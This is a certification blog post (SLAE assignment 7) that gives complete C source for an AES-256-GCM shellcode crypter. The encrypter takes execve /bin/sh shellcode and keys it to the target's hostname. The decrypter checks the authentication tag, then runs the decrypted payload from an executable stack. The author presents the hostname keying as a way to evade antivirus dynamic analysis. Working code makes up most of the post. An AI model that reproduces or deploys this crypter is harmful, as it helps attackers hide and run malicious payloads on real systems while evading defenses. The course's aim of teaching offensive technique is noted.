Shellcode / SLAE
Creating an AES-256-GCM Shellcode Crypter
A custom crypter that encrypts shellcode at rest and decrypts it at runtime with authenticated AES-256-GCM. SLAE-1134 assignment #7.
- crypto
- shellcode
- x86
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1134
Assignment number: 7
Github repo: https://github.com/kkirsche/SLAE
Introduction
Hey everyone! We’re going to attack the final SLAE exam component for the SecurityTube Linux Assembly Expert course. This one was a bit harder to get right, but is one that comes with some fantastic value. Here, we’re going to create a “custom” shellcode encrypter. I put custom into quotes because we’re using a well known encryption algorithm and libraries to do it – because writing your own encryption is sometimes more dangerous than not using encryption.
Requirements
- Create a custom crypter like the one shown in the “crypters” video
- Free to use any existing encryption schema
- Can use any programming language
Which encryption algorithm to use?
When I thought of a crypter, I immediately thought of AES256-GCM encryption. This encryption technique is one that is recommended by the United States National Security Agency, is considered very strong, and is resistant to tampering. Unlike other modes of AES encryption, AES-GCM encryption includes a second important step to the process. First, it performs encryption on the data using a key and an initialization vector (IV). After this though, you do not simply have the encrypted ciphertext, you also have a tag, which is the message authentication code (MAC) which can be used to then validate that the ciphertext message you received has not been tampered with. Thus, it allows us to keep a checksum with our encrypted ciphertext.
I felt this was an important type of crypter because in many cases our shellcode may be getting transformed or passed via a plaintext protocol such as HTTP, Email, etc. As such, in the same way that we can perform man in the middle attacks, so to can another malicious actor whom we want to protect ourselves against.
Writing our crypter
Encryption
So with our encryption algorithm decided, we need to actually implement this. I chose to do this in C using two different files — one, the encrypt.c file which is used to take our shellcode and perform the encryption. This is shown below:
/*
Author: Kevin Kirsche
Date: August 30, 2018
Compile: gcc -o encrypt encrypt.c -lcrypto -lssl
Requires package (debian / ubuntu): openssl libssl-dev
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <openssl/rand.h>
#include <openssl/evp.h>
void handleErrors()
{
printf("Some error occured\n");
}
int encrypt(unsigned char *shellcode, int shellcode_len,
unsigned char *key, unsigned char *iv,
unsigned char *ciphertext, unsigned char *tag)
{
EVP_CIPHER_CTX *ctx;
int len=0, ciphertext_len=0;
/* Create and initialize the encryption envelop context */
if(!(ctx = EVP_CIPHER_CTX_new()))
handleErrors();
/* Initialize the AES-256-GCM encryption operation. */
if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL))
handleErrors();
/* Set IV length if default 12 bytes (96 bits) is not appropriate */
if(1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, 16, NULL))
handleErrors();
/* Initialize our encryption key and IV */
if(1 != EVP_EncryptInit_ex(ctx, NULL, NULL, key, iv)) handleErrors();
/* Provide the message to be encrypted, and obtain the encrypted output.
* EVP_EncryptUpdate can be called multiple times if necessary
*/
/* encrypt in block lengths of 16 bytes */
while(ciphertext_len<=shellcode_len-16)
{
if(1 != EVP_EncryptUpdate(ctx, ciphertext+ciphertext_len, &len, shellcode+ciphertext_len, 16))
handleErrors();
ciphertext_len+=len;
}
if(1 != EVP_EncryptUpdate(ctx, ciphertext+ciphertext_len, &len, shellcode+ciphertext_len, shellcode_len-ciphertext_len))
handleErrors();
ciphertext_len+=len;
/* Finalize the encryption. Normally ciphertext bytes may be written at
* this stage, but this does not occur in GCM mode
*/
if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + ciphertext_len, &len)) handleErrors();
ciphertext_len += len;
/* Get the tag */
if(1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_GET_TAG, 16, tag))
handleErrors();
/* Clean up */
EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
}
int main (int argc, char **argv)
{
// Change the shellcode for your purposes. Below is a stack-based execve shellcode from earlier exercises.
// Be careful with null bytes, they may terminate your shellcode early!
unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
// Do not change below this line!!
unsigned char key[32],ciphertext[1024+EVP_MAX_BLOCK_LENGTH],tag[16];
unsigned char iv[16];
int k;
int counter;
printf("Enter the hostname where shellcode will execute: ");
scanf("%s", key);
printf("Key:\n%s\n\n", key);
/* generate encryption key from the hostname we want to attack */
if(!PKCS5_PBKDF2_HMAC_SHA1(key, strlen(key),NULL,0,1000,32,key))
{
printf("Error in key generation\n");
exit(1);
}
/* generate random IV */
while(!RAND_bytes(iv,sizeof(iv)));
/* encrypt the text */
k = encrypt(shellcode, strlen(shellcode), key, iv, ciphertext, tag);
/* print the IV to be used in the decrypter */
printf("unsigned char iv[] = \"");
for (counter=0; counter < sizeof(iv); counter++) {
printf("\\x%02x", iv[counter]);
}
printf("\";\n");
/* print the encrypted shellcode to be used in the decrypter */
printf("unsigned char encrypted_shellcode[] = \"");
for (counter=0; counter < k; counter++) {
printf("\\x%02x", ciphertext[counter]);
}
printf("\";\n");
/* print the encrypted shellcode length to be used in the decrypter */
printf("int encrypted_shellcode_len = %d;\n", k);
/* print the GCM tag (aka the message authentication code) to be used in the decrypter */
printf("unsigned char tag[] = \"");
for (counter=0; counter < sizeof(tag); counter++) {
printf("\\x%02x", tag[counter]);
}
printf("\";\n");
return 0;
}
Please be sure to read the header in this file, to use this, you do need some packages that aren’t on Ubuntu by default. We can get these with:
sudo apt-get update && sudo apt-get install openssl libssl-dev
If you are comfortable with the files that will be installed, answer y when prompted to install the software. With that installed, the code then defines a generic (albeit poor quality) handle errors function just to let us know if something goes wrong. It shouldn’t, but it could. We then define the encryption function which leverages well known OpenSSL EVP (EVP is short for Digital EnVeloPe) encryption for AES-GCM. It returns the length of our ciphertext, another word for our encrypted data.
Finally, we reach our main function which is where the custom parts really are. In this, we define on line 76 the shellcode which we would like to encrypt. Since we’re using C, this should be null free as a null may terminate your string early! You’ve been warned!
We then define variables to hold our key and initialization vector. We prompt the user for the hostname of the remote machine, and then generate a key from this value. We generate a random IV, perform our encryption and then take care to print out all of the data we’re going to need in our decrypter.
During testing, it got frustrating to format it right, so this actually outputs the C code that you will need to paste into the decrypter.
Decryption
Nice! We’re encrypting our shellcode now. But we don’t have a way to test it works. As such, we need to create a decryption and execution harness. This is our decrypt.c file. The key area of interest from a usage perspective are lines 85–88.
/*
Author: Kevin Kirsche
Date: August 30, 2018
Compile: gcc -o decrypt decrypt.c -lcrypto -lssl -fno-stack-protector -zexecstack
Requires package (debian / ubuntu): openssl libssl-dev
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <openssl/rand.h>
#include <openssl/evp.h>
void handleErrors()
{
printf("Some error occured\n");
}
int decrypt(unsigned char *ciphertext, int ciphertext_len,
unsigned char *tag, unsigned char *key, unsigned char *iv,
unsigned char *plaintext)
{
EVP_CIPHER_CTX *ctx;
int len=0, plaintext_len=0, ret;
/* Create and initialize the context */
if(!(ctx = EVP_CIPHER_CTX_new()))
handleErrors();
/* Initialize the decryption operation. */
if(!EVP_DecryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL))
handleErrors();
/* Set IV length. Not necessary if this is 12 bytes (96 bits) */
if(!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, 16, NULL))
handleErrors();
/* Initialize key and IV */
if(!EVP_DecryptInit_ex(ctx, NULL, NULL, key, iv)) handleErrors();
/* Provide the message to be decrypted, and obtain the plaintext output.
* EVP_DecryptUpdate can be called multiple times if necessary
*/
while(plaintext_len<=ciphertext_len-16)
{
if(1!=EVP_DecryptUpdate(ctx, plaintext+plaintext_len, &len, ciphertext+plaintext_len, 16))
handleErrors();
plaintext_len+=len;
}
if(1!=EVP_DecryptUpdate(ctx, plaintext+plaintext_len, &len, ciphertext+plaintext_len, ciphertext_len-plaintext_len))
handleErrors();
plaintext_len+=len;
/* Set expected tag value. Works in OpenSSL 1.0.1d and later */
if(!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_TAG, 16, tag))
handleErrors();
/* Finalize the decryption. A positive return value indicates success,
* anything else is a failure - the plaintext is not trustworthy.
*/
ret = EVP_DecryptFinal_ex(ctx, plaintext + plaintext_len, &len);
/* Clean up */
EVP_CIPHER_CTX_free(ctx);
if(ret > 0)
{
/* Success */
plaintext_len += len;
return plaintext_len;
}
else
{
/* Verify failed */
return -1;
}
}
int main (int argc, char **argv)
{
// insert variables from encrypt script
unsigned char iv[] = "\xc4\x7a\x03\xb3\xda\x91\xf4\x35\xc9\xc7\x06\x82\xe1\x98\x7f\x9a";
unsigned char encrypted_shellcode[] = "\x11\x8a\x05\x3b\x7c\xae\xba\x4d\xc2\xb0\x36\x28\x65\x32\x66\xb5\x61\x08\x00\xe4\x79\xd9\xc7\x06\x68";
int encrypted_shellcode_len = 25;
unsigned char tag[] = "\xdd\x25\xf2\x6a\x88\x1f\xe3\xdf\x32\xb6\x6a\x94\xaf\xf1\x0e\x6c";
// constant, don't change below
unsigned char key[32],pt[1024+EVP_MAX_BLOCK_LENGTH];
int k;
int counter;
/* the hostname is the key! */
gethostname(key, 32);
/* generate encryption key from user entered key */
if(!PKCS5_PBKDF2_HMAC_SHA1(key, strlen(key),NULL,0,1000,32,key))
{
printf("Error in key generation\n");
exit(1);
}
/* decrypt the text and print on STDOUT */
k = decrypt(encrypted_shellcode, encrypted_shellcode_len, tag, key, iv, pt);
if (k > 0) {
pt[k]='\0';
int (*ret)() = (int(*)())pt;
ret();
} else {
printf("error decrypting. Tampering may have occurred\n");
}
return 0;
}
Here, similar to our encryption file, we have a generic error handler, then our decryption function. We’re not going to go into the specifics of what each line is doing, as there is better documentation available if you want to understand the math behind why it does what it does. There are comments though explaining the decryption process (or at least what we’re doing). The key is we’re returning a positive value if the decryption succeeded and a negative value if we encountered an issue such as the MAC didn’t match what we decrypted. This protects the binary against tampering!
Below that, we have our main function which is the magic of this. We have our output from the initial encryption process, we use gethostname to retrieve the hostname which will act as our decryption key. In transit, this means that even if it ends up getting executed somewhere else, it won’t work. This can also help us avoid antivirus which does more dynamic analysis, since it would need to be configured for the correct hostname to evaluate it.
We then generate our actual encryption key based off of the hostname (most hostnames aren’t long enough to be a strong encryption key), perform our decryption, and then we do something interesting which differs from many other crypters. We check what happened. Because of the MAC / tag, we are able to verify if the item we decrypted was modified in transit or by a foreign party. If we think it may have been modified, we exit without executing the decrypted shellcode, for our own safety. If we did successfully decrypt it though, we place a null terminator at the end of the decrypted text and execute our shellcode using a “standard” shellcode harness.
When we use the included compile scripts (or the compile commands listed in the file headers with our execve-stack shellcode, we see that it works perfectly!